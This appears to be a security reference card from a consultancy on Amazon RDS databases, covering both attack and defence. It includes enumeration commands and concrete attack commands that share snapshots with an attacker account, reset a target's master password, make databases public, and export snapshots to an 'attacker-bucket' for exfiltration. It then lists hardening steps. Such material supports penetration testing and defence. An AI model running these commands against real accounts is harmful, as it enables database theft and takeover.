Relational Database Service (RDS) provides managed databases with encryption and access controls. Publicly accessible databases and weak credentials are primary attack vectors.
RDS instances can be publicly accessible or VPC-only. Security groups control network access, while IAM authentication provides identity-based access for supported engines.
Attack note: Public databases are constantly scanned. Weak credentials lead to immediate compromise.
Automated backups and manual snapshots can be shared cross-account or made public. Snapshots contain full database contents including sensitive data.
Attack note: Public snapshots are goldmines - search for forgotten production data.
Databases contain the most sensitive business data. Public accessibility, weak credentials, and unencrypted snapshots lead to massive data breaches.
aws rds describe-db-instancesaws rds describe-db-snapshotsaws rds describe-db-snapshots --include-publicaws rds describe-db-cluster-snapshotsaws rds describe-db-parameter-groupsKey insight: Snapshot sharing is the stealthiest exfiltration method - no data actually leaves your account.
aws rds restore-db-instance-from-db-snapshot \
--db-snapshot-identifier snap-xxx \
--db-instance-identifier pwned \
--publicly-accessibleaws rds modify-db-instance \
--db-instance-identifier target-db \
--master-user-password NewPassword123!aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier snap-xxx \
--attribute-name restore \
--values-to-add allaws rds modify-db-snapshot-attribute \
--db-snapshot-identifier snap-xxx \
--attribute-name restore \
--values-to-add ATTACKER_ACCOUNT_IDaws rds modify-db-instance \
--db-instance-identifier target-db \
--publicly-accessibleaws rds start-export-task \
--export-task-identifier exfil \
--source-arn arn:aws:rds:REGION:ACCOUNT:snapshot:snap-xxx \
--s3-bucket-name attacker-bucket{
"PubliclyAccessible": true,
"StorageEncrypted": false,
"DeletionProtection": false,
"MasterUsername": "admin",
"MasterUserPassword": "password123"
}Public, unencrypted, weak credentials - complete exposure
{
"PubliclyAccessible": false,
"StorageEncrypted": true,
"KmsKeyId": "arn:aws:kms:...",
"DeletionProtection": true,
"IAMDatabaseAuthentication": true,
"EnableCloudwatchLogsExports": ["audit","error"]
}Private, encrypted, IAM auth, with audit logging
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 3306,
"ToPort": 3306,
"IpRanges": [{"CidrIp": "0.0.0.0/0"}]
}]
}MySQL port open to entire internet
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 3306,
"ToPort": 3306,
"UserIdGroupPairs": [{
"GroupId": "sg-app-servers"
}]
}]
}Only app server security group can connect
Never expose RDS to internet. Use private subnets.
aws rds modify-db-instance \
--db-instance-identifier db-xxx \
--no-publicly-accessibleEncrypt at rest with KMS and enforce SSL in transit.
--storage-encrypted --kms-key-id <key-arn>Replace passwords with IAM roles where possible.
aws rds modify-db-instance \
--enable-iam-database-authenticationExport audit logs to CloudWatch for monitoring.
--enable-cloudwatch-logs-exports \
'["audit","error","general"]'Rotate credentials automatically with Secrets Manager.
aws secretsmanager rotate-secret \
--secret-id db-credentialsPrevent accidental or malicious deletion.
aws rds modify-db-instance --deletion-protectionAWS RDS Security Card • Toc Consulting
Always obtain proper authorization before testing